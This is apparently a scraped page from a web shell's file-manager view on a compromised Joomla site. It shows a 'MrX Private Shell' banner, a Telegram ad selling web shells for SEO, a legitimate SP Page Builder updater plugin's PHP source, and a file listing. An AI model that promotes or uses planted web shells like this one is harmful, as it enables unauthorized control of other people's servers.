__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2022 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
use Joomla\CMS\Factory;
use Joomla\Registry\Registry;
use Joomla\CMS\Plugin\CMSPlugin;
//no direct access
defined('_JEXEC') or die('restricted access');
class plgSystemSppagebuilderliteupdater extends CMSPlugin
{
public function onExtensionAfterSave($option, $data)
{
if (($option == 'com_config.component') && ($data->element == 'com_sppagebuilder')) {
$params = new Registry;
$params->loadString($data->params);
$url = $params->get('updater', '');
if (!empty($url)) {
$db = Factory::getDbo();
$query = $db->getQuery(true)
->update($db->quoteName('#__update_sites'))
->set($db->quoteName('location') . '=' . $db->quote($url))
->where($db->quoteName('name') . '=' . $db->quote('SP Page Builder'));
$db->setQuery($query);
$db->execute();
}
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| sppagebuilderliteupdater.php | File | 1.18 KB | 0664 |
|
| sppagebuilderliteupdater.xml | File | 738 B | 0664 |
|